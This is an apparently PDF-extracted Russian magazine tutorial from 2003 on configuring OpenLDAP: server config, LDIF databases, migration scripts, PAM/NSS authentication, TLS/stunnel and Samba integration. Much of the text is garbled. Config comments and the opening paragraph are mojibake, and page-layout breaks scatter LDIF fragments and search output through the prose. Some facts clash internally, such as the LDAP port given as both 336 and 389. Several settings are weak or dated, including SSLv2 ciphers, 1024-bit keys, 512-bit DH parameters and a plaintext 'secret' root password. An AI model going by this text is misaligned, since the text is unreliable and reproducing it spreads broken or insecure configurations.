Îáúåêòû âåðõíåãî óðîâíÿ(C, O, OU, DC, L) ÿâëÿþòñÿ êîíòåéíåðíûìè, ò.å. Ìîãóò ñîäåðæàòü äðóãèå îáúåêòû. Îáúåêòû íèæíåãî óðîâíÿ îáû÷íî òàêîé îñîáåííîñòüþ íå îáëàäàþò. Ïðèâåä¸ííàÿ ñõåìà æåñòêî íå çàêðåïëÿåò èåðàðõèþ îáúåêòîâ, äåðåâî ìîæåò ñòðîèòüñÿ â ðàçëè÷íîì ïîðÿäêå. Ïðè èñïîëüçîâàíèè èíòåðíåò-äåðåâà ìîæåò èñïîëüçîâàòüñÿ èåðàðõèÿ îïðåäåëåíèé dc. Çà÷àñòóþ òàêæå ïðèìåíÿþò ñìåøàííûå ñõåìû ñòàíäàðòíîé è èíòåðíåò íîòèôèêàöèè. Äëÿ âûáîðà êîíêðåòíîé âåòâè èñïîëüçóþò òåðìèí dn ïîèñêà âåðõíèé îáúåêò, îò êîòîðîãî íà÷èíàåòñÿ ïîèñê.

Здесь можно сразу же определиться с сокращениями, принятыми в службе директорий: С(ountry) – страна; ST(ate) – имя региона, области или штата; L(ocation) – имя города, посёлка, деревни; O(rganization) – имя компании; O(rganizational)U(nit) – раздел компании. Данные объекты дерева являются основополагающими, т.к. являются контейнерами для других объектов. На их основе обычно строится дерево каталогов. Самый верхний уровень представляет объект root (и здесь рут!), от него происходят скелетные объекты, внутри которых и заключаются конкретные объекты-листья дерева. Если представить себе дерево, то скелет-

№2(3), февраль 2003

ные объекты-контейнеры будут играть роль веток, а обычные объекты – роль листьев. Вообще, древовидная структура имеет множество преимуществ по сравнению с линейной (/etc/passwd), т.к. позволяет точно определить нахождение пользователя или иного объекта. /etc/passwd предоставляет лишь жалкое подобие данной модели – поле GECOS, но работая с LDAP, просто необходимо указывать полное описание объекта. Для обозначения полного описания (+имени) объекта относительно скелета дерева используется термин DN (distinguished name – назначенное имя, контекст). На этом позвольте завершить описание теории и перейти к практике...

Общая настройка сервера slapd Займёмся самым интересным: на-

стройкой сервера. Я использовал OpenLDAP и всё нижесказанное относится только к данному пакету LDAP. Для начала необходимо иметь следующие вещи (я предполагаю установку из пакетов, а не из сырцов; установка из сырцов также не должна вызвать затруднений, но у меня оных просто не было): библиотеки LDAP; сервер LDAP (slapd); pam_ldap и nss_ldap для аутентификации через LDAP. После чего надо настроить сервер на работу в вашей службе каталогов. Открываем файл конфигурации /etc/[open]ldap/slapd.conf (при установке из исходников /usr/local/ etc/openldap). Он содержит приблизительно следующее:

75


безопасность # Ïðèìåðíûé ôàéë êîíôèãóðàöèè ñåðâåðà slapd.conf. include /usr/share/openldap/schema/core.schema include /usr/share/openldap/schema/cosine.schema include /usr/share/openldap/schema/corba.schema include /usr/share/openldap/schema/inetorgperson.schema include /usr/share/openldap/schema/java.schema include /usr/share/openldap/schema/krb5-kdc.schema include /usr/share/openldap/schema/kerberosobject.schema include /usr/share/openldap/schema/misc.schema include /usr/share/openldap/schema/nis.schema include /usr/share/openldap/schema/openldap.schema # Âêëþ÷àåì áàçîâûå îïðåäåëåíèÿ îáúåêòîâ äèðåêòîðèé è äîïîëíèòåëüíûå êëàññû # îáúåêòîâ, ôàéëû ñõåì. # Âêëþ÷àåì ôàéë, îïèñûâàþùèé ïðàâà äîñòóïà ê ÁÄ: include /etc/openldap/slapd.access.conf # Ñòàíäàðòíûå ôàéëû, íåîáõîäèìûå äëÿ ðàáîòû äåìîíà: ôàéë èäåíòèôèêàòîðà è # êîìàíäíîé ñòðîêè. pidfile /var/run/ldap/slapd.pid argsfile /var/run/ldap/slapd.args # Ïóòü ê äîïîëíèòåëüíûì ìîäóëÿì ñåðâåðà. modulepath /usr/lib/openldap # Îïèñûâàåì ïàðàìåòðû ñîåäèíåíèÿ ÷åðåç SSL. # Õîñò äëÿ áåçîïàñíîé àóòåíòèôèêàöèè SASL. sasl-host localhost # Åñëè âû õîòèòå ðàçðåøèòü ñîåäèíåíèå ÷åðåç TLS òî óáåðèòå êîììåíòàðèé èç # ñëåäóþùèõ ñòðîê (â äàííîì ïðèìåðå îí åñòü). #TLSRandFile /dev/random #TLSCipherSuite HIGH:+SSLv2 #TLSCertificateFile /etc/openldap/ldap.pem #TLSCertificateKeyFile /etc/openldap/ldap.pem # Ïóòü ê ôàéëó êëþ÷à #TLSCACertificatePath /etc/openldap/ #TLSCACertificateFile /etc/openldap/ldap.pem # Ïóòü ê ñåðòèôèêàòó õîñòà #TLSVerifyClient 0 # Ïðîâåðêà êëþ÷à êëèåíòà # Ñàìîå ãëàâíîå - îïèñàíèå áàçû äàííûõ LDAP database ldbm # Òèï áàçû äàííûõ ldbm suffix "dc=test,dc=ru" #suffix "o=My Organization Name,c=US" # Ýòî îñíîâíîé ñóôôèêñ ÁÄ.  îïðåäåëåíèè ñèñòåìû äèðåêòîðèé ñóùåñòâóåò òàê # íàçûâàåìûé êîðíåâîé îáúåêò root. Ñóôôèêñ îïðåäåëÿåò ýòîò îáúåêò. Âîîáùå # ñóùåñòâóåò 2 ñòàíäàðòà LDAP èìåí äëÿ ñêåëåòà äåðåâà: ìåòîä äëÿ ãëîáàëüíûõ # ñåòåé è ëîêàëüíûõ. Ïåðâûé èìååò ïîäîáíûé âèä è îïèñûâàåò URL àäðåñ: # person.domain.com(cn=person,dc=domain,dc=com), à âòîðîé îïèñûâàåò # îðãàíèçàöèþ(âîîáùå-òî ýòîò âèä ÿâëÿåòñÿ ñòàíäàðòíûì) è èìååò ñëåäóþùèé âèä: # person.organization_unit.organization.country(cn=person,ou=otd1,o=lab,c=RU) # âûáîð ìåòîäà çàâèñèò îò êîíêðåòíîãî íàçíà÷åíèÿ LDAP è îñîáîãî çíà÷åíèÿ íå èìååò. #  äàííîé ñòàòüå ÿ èñïîëüçîâàë èíòåðíåò-íàèìåíîâàíèÿ äëÿ êðàòêîñòè, íî îáû÷íî â # êîìïàíèÿõ âñ¸ æå ÷àùå ïðèìåíÿåòñÿ âòîðîé ñïîñîá ïîñòðîåíèÿ ñêåëåòà äåðåâà. rootdn "cn=admin,dc=test,dc=ru" #rootdn "cn=Manager,o=My Organization Name,c=RU" # Ýòî ïîëå ñîäåðæèò ïàðîëü àäìèíèñòðàòîðà îáúåêòà root(òî åñòü âñåé ÁÄ LDAP). # Ïàðîëü ìîæåò õðàíèòüñÿ êàê â îòêðûòîì âèäå (íå ðåêîìåíäóåòñÿ!), òàê è â # çàøèôðîâàííîì âèäå ñ óêàçàíèåì àëãîðèòìà øèôðîâàíèÿ ({crypt}, {MD5}, {SSHA}, # {crypt}, {SMD5}, {SHA}) Ïàðîëü æåëàòåëüíî óñòàíàâëèâàòü ïðîãðàììîé slappasswd, # ïîçâîëÿþùåé óñòàíîâèòü íóæíûé àëãîðèòì øèôðîâàíèÿ. rootpw secret # rootpw {crypt}ijFYNcSNctBYg # Ïàïêà, ãäå õðàíèòñÿ áàçà äàííûõ LDAP. Ýòà ïàïêà äîëæíà ñóùåñòâîâàòü äî çàïóñêà # LDAP, êîòîðûé èíà÷å íå çàïóñòèòñÿ. Ïàïêà äîëæíà áûòü äîñòóïíà äëÿ ÷òåíèÿ è çà# ïèñè òîëüêî ïîëüçîâàòåëþ, ïîä êîòîðûì ðàáîòàåò slapd, è èìåòü ìàñêó äîñòóïà 700. directory /var/lib/ldap # Îïðåäåëåíèÿ ïåðâè÷íûõ è âòîðè÷íûõ èíäåêñîâ ÁÄ ìîæåò óñêîðèòü ïîèñê ïî ÁÄ #index objectClass eq index objectClass,uid,uidNumber,gidNumber eq index cn,mail,surname,givenname eq,subinitial # Ïðàâà äîñòóïà ïî óìîë÷àíèþ access to attr=userPassword by self write by anonymous auth by dn="uid=root,dc=test,dc=ru" write by * none # Çäåñü îïðåäåëÿåòñÿ äîñòóï ê àòðèáóòó ïàðîëü ïîëüçîâàòåëÿ. Ñàì ïîëüçîâàòåëü èìååò # ïðàâî çàïèñè, àíîíèìíîìó ïîëüçîâàòåëþ ïðåäîñòàâëÿåòñÿ âîçìîæíîñòü ïðîéòè # àóòåíòèôèêàöèþ (ïîñëå ýòîãî îí ïðåäñòàâëÿåò óæå äðóãîé îáúåêò è äîñòóïà ê ïàðî# ëÿì àíîíèìíîãî ïîëüçîâàòåëÿ íå ïðîèñõîäèò, êàê ìîæíî áûëî áû ïîäóìàòü), à ïîëü# çîâàòåëü ñ êîíòåêñòîì "uid=root,ou=people,dc=test,dc=ru" èìååò ïðàâî íà çàïèñü. # Äðóãèå æå ïîëüçîâàòåëè äîñòóïà ê ïàðîëþ íå èìåþò íèêàêîãî. Ò.å., äðóãèìè ñëîâàìè, # íèêòî, êðîìå àäìèíèñòðàòîðà è ñàìîãî ïîëüçîâàòåëÿ íå èìåþò äîñòóïà ê ïàðîëþ. access to * by dn="uid=root,dc=test,dc=ru" write by * read # Äîñòóï ê îñòàëüíûì ïîëÿì áàçû LDAP - âñå ìîãóò ÷èòàòü àòðèáóòû (êðîìå ïàðîëÿ, # òàê êàê çàïðåò èìååò áîëåå âûñîêèé ïðèîðèòåò), à ïîëüçîâàòåëü ñ êîíòåêñòîì # root ìîæåò ïèñàòü âñ¸ ÷òî óãîäíî (à êòî æ åìó ïîìåøàåò ).

76

Добавлю, что в этом файле можно ещё указывать дополнительные параметры для взаимодействия нескольких серверов (реплик): в частности, основной сервер, вторичные сервера, пароли доступа к ним и т. д. Но это уже другая тема. В основном необходимо сделать 3 вещи: установить суффикс БД и выбрать тип контекста (глобальной сети или организации); указать контекст администратора LDAP; установить пароль администратора LDAP с помощью программы slappasswd. Чтобы установить алгоритм шифрования пароля, запускайте программу slappasswd так: slappasswd -h {àëãîðèòì_øèôðîâàíèÿ},

вместе с символами {}, например: slappasswd -h {crypt}

или slappasswd -h {md5}

Вот и всё: сервер может хоть сейчас начинать работать! Но толку пока от него никакого: ведь мы не добавили объектов. Сейчас я расскажу, как создавать базу данных LDAP и проводить аутентификацию через неё.

Создание базы данных Для первоначальной настройки неплохо было бы объяснить общий синтаксис файлов для создания базы данных (я обозначаю комментарии символом #, но в реальном файле этих комментариев быть не должно!): dn: dc=test,dc=ru # Óíèêàëüíûé êîíòåêñò èìåíè objectclass: dcObject # Êëàññ îáúåêòà – êîíòåéíåðíûé îáúåêò objectclass: organization # Òîò æå ñàìûé êîíòåêñò ìîæåò ïðåä# ñòàâëÿòü ñîáîé ðàçëè÷íûå îáúåêòû o: test # Èìÿ îðãàíèçàöèè dc: test # Òî æå ñàìîå, íî â ñèñòåìå # ãëîáàëüíûõ èì¸í # --------------------------------dn: cn=admin,dc=test,dc=ru # Êîíòåêñò àäìèíèñòðàòîðà objectclass: organizationalRole # Êëàññ – äîëæíîñòíîå ëèöî cn: admin # Èìÿ ÷åëîâåêà (ïñåâäîíèì)


безопасность #---------------------------------dn: ou=users,dc=test,dc=ru # Êîíòåêñò ãðóïïû ïîëüçîâàòåëåé ou: users # Çíà÷åíèå ãðóïïû objectclass: top objectclass: organizationalUnit # Êëàññ ãðóïïà #---------------------------------dn: uid=null,ou=users,dc=test,dc=ru # Êîíòåêñò êîíêðåòíîãî ïîëüçîâàòåëÿ # èç /etc/passwd uid: null # Åãî ïîëüçîâàòåëüñêèé ïñåâäîíèì cn: Neo # Ðåàëüíûé ïñåâäîíèì objectclass: account # Êëàññ ïîëüçîâàòåëüñêèé ïðîôèëü objectclass: posixAccount # Êëàññ ïîëüçîâàòåëÿ POSIX objectclass: top objectclass: uidObject # Ñàìàÿ ëó÷øàÿ îáîëî÷êà - zsh! loginshell: /bin/zsh # Âñå ñëåäóþùèå ïàðàìåòðû ñîâïàäàþò # ñ àíàëîãè÷íûìè â /etc/passwd uidnumber: 1000

базе можно использовать следующий синтаксис:

# filter: (uid=null) ldapadd -x -D "cn=root,dc=test,dc=ru" -W -f base.ldif

или же

gecos: Neo userpassword: $1$abcdvPbaLa6vs4ABab1N

Здесь, думаю, всё понятно. Но ведь если у вас система уже настроена и содержит порядка 8*1010 пользователей, то будет немного трудновато всё это заново переписывать. Поэтому во многих дистрибутивах есть пакет openldap-migration, содержащий набор скриптов для переноса существующих файлов и баз сетевых служб в LDAP. Если его нет, то посмотрите здесь: http://www.padl.com. Данный пакет представляет из себя набор скриптов на Perl, обрабатывающий соответствующие файлы и службы (/etc/passwd (+shadow), /etc/hosts, /etc/profile, /etc/ services, NIS-службы). Использование скриптов предельно просто. Вначале надо исправить файл /usr/share/ openldap/migration/migrate_common.ph: # Ïî÷òîâûé äîìåí ïî óìîë÷àíèþ $DEFAULT_MAIL_DOMAIN = "test.ru"; # Èìÿ êîðíåâîãî îáúåêòà LDAP $DEFAULT_BASE = "dc=test,dc=ru"; # Õîñò äëÿ ïðè¸ìà/ïåðåäà÷è ïî÷òû # ïî óìîë÷àíèþ $DEFAULT_MAIL_HOST = "mail.test.ru"; # Èñïîëüçóåì ðàñøèðåííûå ôàéëû ñõåì $EXTENDED_SCHEMA = 1;

Далее выполняем: migrate_base.pl > base.ldif

для создания структуры базы LDAP. Для добавления данного файла к

№2(3), февраль 2003

# requesting: ALL # # null, Users, test, ru dn: uid=null,ou=Users,dc=test,dc=ru

slapadd -f base.ldif

для добавления записи в режиме offline. Первый способ лучше, так как позволяет проверить работу LDAP в сети (фактически используются TCP-сокеты). Далее выполняем миграцию того, что нужно перенести в LDAP, например: ./migrate_hosts.pl /etc/hosts hosts.ldif

gidnumber: 1000 homedirectory: /home/null

ldapsearch -LL -H ldap://localhost -b"dc=test,dc=ru" -x "(uid=null)" #

Файл hosts.ldif будет содержать примерно следующее (в файле /etc/ hosts было 192.168.1.23 work.test.ru work): dn: cn=work.test.ru,ou=Hosts, dc=test,dc=ru objectClass: top objectClass: ipHost objectClass: device ipHostNumber: 192.168.1.23 cn: work.test.ru cn: work

Удобно, не так ли? Можно проделать подобное со всем, для чего уже написаны скрипты (можно и самому, в конце концов, написать! Что нам этот Perl). Кстати, вот ещё о чём я забыл: при переносе /etc/passwd нужно установить переменную окружения ETC_SHADOW: root@ldap # ETC_SHADOW=/etc/shadow ./migrate_passwd.pl /etc/passwd passwd.ldif

И ещё: не забывайте добавлять файлы .ldif f к базе с помощью ldapadd! Если всего этого делать нет желания, то можно применить один из shell-скриптов migrate_all_[on|off]line, которые позволяют в интерактивном режиме перенести все существующие стандартные конфигурационные файлы в LDAP. Ну вот, база создана, надо бы её проверить. Поищем в ней объекты с заданным атрибутом, пускай помучается:

uid: null cn: Neo objectClass: account objectClass: posixAccount objectClass: top objectClass: uidObject loginShell: /bin/zsh uidNumber: 1000 gidNumber: 1000 homeDirectory: /home/null gecos: Neo # search result search: 2 result: 0 Success # numResponses: 1 # numEntries: 1

Естественно, что в поиске можно использовать регулярные выражения. «Ну и зачем мы это делали?» – закричат многие и будут неправы. На самом деле это уже хорошо: вся информация о системе хранится в древесном виде в БД. Там её можно искать, читать, писать, ставить нужные права. Идея просто супер! Причём всё это хозяйство без проблем достаётся из сети, реестр виндов отдыхает. Это сказка для любителей Novell и ещё один повод перейти на Linux даже в крупных сетях. Извините, оговорился, на *nix, так как openldap работает практически на всех *nix системах, а клиенты есть под любую ось. Ну а теперь разберёмся, как организовать связку с другими программами.

Настройка клиентов и аутентификации Вначале нужно создать специального пользователя, который мог бы читать пароли других пользователей (это, конечно, плоховато для безопасности, но ведь пароль-то можно придумать какой-нибудь зловещий, например SHA1 хеш от результата crypt над строкой

77


безопасность $%YJH&*&*jszZn7867wey8YT6yeuwe%%&^&&*. Этот пользователь понадобится в будущем для клиентов LDAP, для выполнения аутентификации (ведь клиентам надо прочитать пароль, чтобы его сравнить с чем-то). Назовём этого пользователя proxy и сделаем следующее: Добавим его в LDAP: dn: cn=proxy,dc=test,dc=ru cn: prox sn: proxy objectclass: top objectclass: person userPassword: {MD5}Xr4ilOzQ4PCOq3aQ0qbuaQ==

Затем предоставим ему права чтения пароля в sldap.conf: access to attr=userPassword by self write by anonymous auth by dn="uid=root,dc=test,dc=ru" write by dn="cn=proxy,dc=test,dc=ru" read by * none

Далее настроим наших клиентов в файле /etc/ldap.conf для *nix клиентов, для других ОС необходимо смотреть документацию к софту, работающему с LDAP-сервером: # Ñåðâåð LDAP – IP-àäðåñ ñåðâåðà èëè # åãî èìÿ, íàõîäÿùååñÿ â /etc/hosts, # èëè â DNS íà óäàë¸ííîì óçëå host 127.0.0.1 # Îñíîâíîé ñóôôèêñ äîëæåí ñîâïàäàòü # ñ ñóôôèêñîì â slapd.conf base dc=test,dc=ru # Ýòî òèïà root, òî÷íåå, íàø ãîðÿ÷î # ëþáèìûé proxy, ñäåëàíî â öåëÿõ # áåçîïàñíîñòè è íå ïîçâîëÿåò ñàìîìó # ïîëüçîâàòåëþ èçìåíèòü ïàðîëü. rootbinddn cn=proxy,dc=test,dc=ru scope one # Ýòî ôèëüòð äëÿ ïîèñêà # ïîëüçîâàòåëüñêèõ çàïèñåé pam_filter objectclass=posixaccount # Àòðèáóò, îïðåäåëÿþùèé èìÿ # ïîëüçîâàòåëÿ è åãî ãðóïïû # äëÿ pam-ìîäóëÿ pam_login_attribute uid pam_member_attribute gid pam_template_login_attribute uid # Òèï ïàðîëÿ - øèôðîâàíèå UNIX crypt, # êñòàòè, øèôðîâàíèå LDAP è øèôðî# âàíèå UNIX – íåñîâìåñòèìû (crypt # îçíà÷àåò èìåííî øèôðîâàíèå unix)! pam_password crypt # Áàçîâûå dn äëÿ ïîèñêà ðàçëè÷íûõ # îáúåêòîâ, one - ýòî îáëàñòü ïîèñêà. # Äàííûå ïàðàìåòðû èñïîëüçóþòñÿ nss. nss_base_passwd ou=People,dc=test,dc=ru?one nss_base_shadow ou=People,dc=test,dc=ru?one nss_base_group ou=Group,dc=test,dc=ru?one nss_base_hosts ou=Hosts,dc=test,dc=ru?one

После этого вы должны создать файл, содержащий пароль коварного proxy в открытом(!) виде. Ну и конеч-

78

но же, запретить чтение/запись всем, кроме root (chmod 0600 chown root:root). В принципе то же самое, что и /etc/shadow. Но беда, что пароль хранится в открытом виде. С другой стороны, получение пароля proxy само по себе ничего не даёт: нельзя менять пароли, но прочитать их можно (хотя толку мало, если пароли дикие). Но если proxy не может менять пароль, то никто не сможет изменить свой пароль, иначе как вы себе это представляете. Ну а дальше надо настраивать pam, чтоб он ходил на LDAP-сервер за паролями. Чтобы включить возможность аутентификации приложений через LDAP, необходимо установить модуль PAM pam-ldap. После этого можно включить в файлы /etc/pam.d (эти файлы содержат список способов аутентификации для определённых приложений: login, passwd, pop, smtp...) следующие строчки: auth sufficient /lib/ security/pam_ldap.so account sufficient /lib/ security/pam_ldap.so password sufficient /lib/ security/pam_ldap.so #(ýòà ñòðî÷êà íóæíà íå âåçäå, íàäî # ñìîòðåòü, â êàêèõ ôàéëàõ îíà óæå # åñòü)

Особо надо отметить файл systemauth, здесь нужно указать некоторые вещи: #%PAM-1.0 auth required /lib/security/ pam_env.so auth sufficient /lib/security/ pam_unix.so likeauth nullok auth sufficient /lib/security/ pam_ldap.so use_first_pass auth required /lib/security/ pam_deny.so account required /lib/security/ pam_unix.so account [default=bad success=ok user_unknown=ignore \ service_err=ignore system_err=ignore] /lib/security/ pam_ldap.so password required /lib/security/ pam_cracklib.so retry=3 password sufficient /lib/security/ pam_unix.so nullok use_authtok \ md5 shadow password sufficient /lib/security/ pam_ldap.so use_authtok password required /lib/security/ pam_deny.so session required /lib/security/ pam_limits.so session required /lib/security/ pam_unix.so session optional /lib/security/ pam_ldap.so

Модуль LDAP является обычно дополнительным компонентом и не является необходимым, и поиск идёт вначале в локальных файлах, а потом уж в ldap (так как стоит он после других способов аутентификации). Таким образом, можно добавить аутентификацию через ldap в любой модуль pam, а последний используется множеством приложений для аутентификации клиента. Ещё одной интересной возможностью ldap является возможность проверки хоста. Часто нельзя, чтобы любой человек, занесённый в базу ldap, мог пользоваться вашим компом (мало ли чего, вдруг это начальник). Поэтому можно добавить к учётным записям пользователей хосты, на которые эти пользователи могут логиниться (повторяю: не откуда может поступать запрос, а куда они мог ут входить, то есть нельзя удалённо пройти аутентификацию на машине X, если это не разрешено). Для этого необходимо добавить к каждой записи пользователя следующие атрибуты: host: name_of_host1 host: name_of_host2 ... host: name_of_hostn

Для модификации базы данных можно воспользоваться программой ldapmodify: ldapmodify -H ldap://localhost -D "cn=root,dc=test,dc=ru" -x -W -f hostauth.ldif

А сам файл host-auth.ldif должен содержать следующее: dn: uid=user_name, ou=People, dc=test, dc=ru changetype: modify add: host host: name_of_host1 host: name_of_host2 host: name_of_hostn

Придётся повторить это для каждого пользователя! Разумнее написать скрипт, но я возложу это на ваши могучие плечи. После этого надо сделать ещё изменения в /etc/ ldap.conf. В данном файле необходимо указать, что нужно ещё смотреть атрибут host: pam_check_host_attr yes


безопасность Защита LDAP при помощи SSL Как я уже говорил, в LDAP существует возможность защиты данных, передаваемых по сети. При этом используется два метода: TLS и SASL. Первый из них не меняет порта, на котором слушает LDAP (336), а просто организует аутентификацию асимметрическим шифрованием, SASL же меняет порт LDAP на ldaps:// и соединение идёт по другому механизму: через туннель SASL. TLS намного проще в настройке, поэтому я расскажу именно о нём. Для начала надо сгенерировать серверную пару ключей асимметрического шифрования. Для этого в Linux удобно воспользоваться единым центром сертификации OpenSSL (об этом я уже писал на страницах январского номера): создаем rsa ключ длиной 1024 бита и сохраняем его в файле ldap.key: $ openssl genrsa -out ldap.key 1024

создаём запрос на сертификацию: $ openssl req -new -config .cfg -key ldap.key -out ldap.csr

создаём сертификат, по которому будем доверять (CACertificate); вначале делаем ключ длиной 2048 бит: $ openssl genrsa -des3 -out ca.key 2048

создаём self-signed сертификат сроком действия на год на основе сгенерированного ключа: $ openssl req -new -x509 -days 365 -key ca.key -out ca.cert

теперь на основе созданного для LDAP ключа и доверенного сертификата создаём сертификат LDAP: $ openssl x509 -req -in ldap.csr -out ldap.cert -CA ca.cert -CAkey ca.key CAcreateserial \ -days 365 -extfile .cfg

При этом файл конфигурации .cfg должен содержать следующие расширения:

№2(3), февраль 2003

[ v3_req ] subjectAltName = email:copy basicConstraints = CA:false nsComment = "LDAP server certificate" nsCertType = server

Немного страшновато выглядит, но в ходе всех этих действий создаются два сертификата: доверенный сертификат и подписанный им сертификат сервера. Таким образом, сервер LDAP сможет проверить правильность своего сертификата через доверенный сертификат. Кстати, если у вас уже есть доверенные сертификаты, то можно воспользоваться ими: просто пропустите второй и третий шаг, и на четвертом шаге введите имя своего доверенного сертификата (можно также воспользоваться моим скриптом CA). Итак, после всех этих действий перемещаем сертификаты и ключ сервера LDAP (ldap.key) куда-нибудь в /etc/ssl/ldap (принято хранить все ключи и сертификаты, созданные openssl в /etc/ssl) и делаем их доступными для чтения только владельцу: #chmod 0400 /etc/ssl/ldap/* è ìåíÿåì âëàäåëüöà íà ldap #chown ldap:ldap /etc/ssl/ldap/*

Настройка сервера предельно проста: необходимо просто прописать пути к сертификатам и ключам в файле slapd.conf следующим образом: # Ñåðòèôèêàò ñåðâåðà TLSCertificateFile /etc/ssl/ldap/ ldap.cert # Êëþ÷ ñåðâåðà TLSCertificateKeyFile /etc/ssl/ ldap/ldap.key # Äîâåðåííûé ñåðòèôèêàò TLSCACertificateFile /etc/ssl/ldap/ ca.cert

Сервер можно конфигурировать и альтернативным методом – через туннель stunnel или ssh. Обычно применяют stunnel, но для начала опять же генерируют сертификат сервера (при этом сам LDAP не должен быть настроен для поддержки SSL, т.к. stunnel будет заменять встроенные механизмы SSL ldapa). После генерации сертификата делаем следующее: #stunnel -r ldap -d 636 -p /etc/ ssl/stunnel/stunnel.pem

Записываем эту команду в один из init-файлов и добавляем правило iptables для отбрасывания сетевого

трафика с порта 389 с целью повышения безопасности (это запрещает доступ по сети к серверу ldap без механизма ssl). Для генерации сертификата в данном случае можно применить скрипт для генерации stunnel сертификатов, который обычно поставляется вместе с stunnel. Можно также применить следующее: $ openssl req -new -x509 -days 365 -nodes -config stunnel.cnf \ -out stunnel.pem -keyout stunnel.pem $ openssl gendh 512 >> stunnel.pem

для генерации self-signed сертификата и параметров для ключей Дифлемана-Хельмана. На самом деле через туннель у меня все работало просто на ура, а встроенные механизмы работали несколько странно, хотя я перечитал все маны и руководства, но это не помогло... Теперь перезапускаем slapd и настраиваем клиентов. Для настройки клиентов надо прописать в файле ldap.conf следующие строки: # Àóòåíòèôèêàöèÿ ÷åðåç TLS ssl start_tls # Ïî óìîë÷àíèþ êëèåíò ïûòàåòñÿ # èñïîëüçîâàòü îáû÷íîå ñîåäèíåíèå, # çàêîììåíòèðîâàâ ñëåäóþùóþ ñòðî÷êó, # ìû ñòàâèì æèðíûé êðåñò íà åãî # áåçîáðàçèÿõ #ssl off

Интеграция Теперь наш LDAP-сервер работает замечательно (или не работает совсем, что зависит от /dev/hands) и его уже можно использовать в сети, но многие хотели бы заменить старые системы аутентификации на LDAP. Самое время, чтобы рассказать о LDAP и NIS. NIS (службы сетевой информации) широко используются для единого управления паролями в сети. NIS – это более старый и менее защищённый протокол аутентификации. Возможности LDAP значительно шире, и поэтому имеет смысл перенести NIS в LDAP, чтобы использовать возможности последнего и устоявшиеся настройки первого (не вновь же всё ручками писать), благо в пакете migrationtools есть скрипты для миграции NIS и NISPLUS: migrate_all_nisplus_on[off]line.sh migrate_all_nis_on[off]line.sh

79


безопасность Я уже рассказал о методах интеграции существущей системы и LDAP через PAM (встраиваемые модули аутентификации), а сейчас настало время рассказать ещё об одном механизме аутентификаци: NSS (дословно выбор службы имён). NSS выбирает, какой тип аутентификации будет использоваться при запросе клиентом определённого файла или механизма (с nss интегрировано множество программ, например, SAMBA). Для настройки NSS используется файл /etc/nsswitch.conf. Его синтаксис предельно прост: имя сервиса (shadow passwd hosts) и далее список параметров (в порядке убывания приоритета), определяющих возможные сетевые службы. Вот, например, файл nssswitch.conf с моей домашней машины: # # # # # # # # # # # # # # # #

Legal entries are: nisplus or nis+ Èñïîëüçîâàòü 3-þ âåðñèþ NIS(NIS+) nis or yp Èñïîëüçîâàòü 2-þ âåðñèþ NIS(YP) dns Èñïîëüçîâàòü DNS files Èñïîëüçîâàòü ëîêàëüíûå ôàéëû ldap Èñïîëüçîâàòü LDAP-áàçó [NOTFOUND=return] Åñëè íå íàéäåíà èíôîðìàöèÿ, îñòàíîâèòü ïîèñê

passwd: shadow: group:

files nisplus nis files nisplus nis files nisplus nis

hosts:

files nisplus nis dns

networks: protocols: services:

files files files

netgroup:

nisplus

Чтобы использовать ldap, просто добавьте в нужные места данный метод. Если вы хотите использовать только ldap, то поставьте после слова «ldap» строчку [NOTFOUND=return], чтобы поиск прекращался при отсутствии элемента в базе LDAP. Например: # Èùåì âíà÷àëå â ëîêàëüíûõ ôàéëàõ, # à ïîòîì â LDAP passwd: files ldap shadow: files ldap group: files ldap hosts: files dns ldap

Учтите ещё одну особенность: я бы не рекомендовал использовать ldap для оперделения хостов, т.к. он будет пытаться найти имя удалённого кли-

80

ента в /etc/hosts, а потом начнёт перерывать какие-то данные, что вызывает нехилую задержку ~30 секунд (если имени нет в hosts). Так что лучше использовать старый добрый DNS (тем более, записи DNS можно хранить в LDAP, но об этом немного позднее). К тому же, когда я поставил у себя проверку хостов первоначально через LDAP, то последний повис наглухо, т.к. вызывает рекурсивно gethostbyname() для определения своего адреса. Хорошо, nss мы настроили, теперь примемся за SAMBA. Честно говоря, SAMBA, на мой взгляд, немного кривая софтина (а как же: работает с такими замечательными ОС), но с версии 2.2.6 вопросы, касающиеся LDAP, вроде ушли из мейл-листа, что наводит на радужные мечтания (кстати, SAMBA 2.2.6 требует SP3 у Win2k клиентов). Для компиляции сервера с LDAP наберите ./configure –withldapsam. SAMBA имеет возможность указания сервера LDAP и базового dn поиска прямо в smb.conf. Для этого существует несколько опций: ldap server – основной параметр, определяет адрес LDAP-сервера; ldap ssl – параметр, указывающий надо ли использовать безопасные методы аутентификации (нужен всегда!). Имеет значение on для работы через SSL (порт 636), start tls для обычной аутентификации через tls (389 порт) и no для посылки данных в открытом виде (также порт 389); ldap admin dn – параметр, определяющий запись, имеющую права доступа к паролям SAMBA; ldap suffix – основной суффикс базы данных LDAP; ldap filter – фильтр, по которому SAMBA ищет свои объекты, например: ldap filter = "(&(uid=%u)(objectclass = sambaAccount))":

имя пользователя совпадает с логином виндов, а тип объекта – профиль SAMBA; ldap port – если ваш сервер LDAP висит на другом порту, чем это назначено по умолчанию (см. параметр ldap ssl), то здесь это можно указать.

Приведу простой пример настройки SAMBA с LDAP: [global] # Þçåðû äîëæíû çàëîãèíèòüñÿ íà # ñåðâåð security = user # Åñòåñòâåííî, øèôðóåì ïàðîëè encrypt passwords = yes netbios name = Linux workgroup = NET # Ïàðàìåòðû LDAP # Îïðåäåëÿåì àäìèíîâñêèé dn. # Ïàðîëü ê íåìó äîëæåí äîáàâëÿòüñÿ # íåïîñðåäñòâåííî smbpasswd -w. # Ïîñëå ñìåíû dn àäìèíà ïàðîëü # òîæå íàäî ñìåíèòü! ldap admin dn = "cn=ntadmin, ou=people,dc=test,dc=ru" # Îïðåäåëÿåì ñåðâåð LDAP ldap server = ldap.test.ru # Çàõîäèì íà LDAP-ñåðâåð ÷åðåç TLS ldap ssl = start tls # Îïðåäåëÿåì ïîðò(õîòÿ â äàííîì # ñëó÷àå ýòî íåîáÿçàòåëüíî) ldap port = 636 # Îïðåäåëÿåì ñóôôèêñ áàçû äàííûõ # ldap ldap suffix = "ou=people,dc=test, dc=ru"

Кроме этого, естественно, надо завести админа SAMBA в LDAP и обеспечить ему соответствующие права доступа в slapd.conf (можно для этой цели использовать рута – это тоже сработает): access to attrs=lmPassword,ntPassword by dn="cn=ntadmin, ou=people, dc=test, dc=ru" write by * none

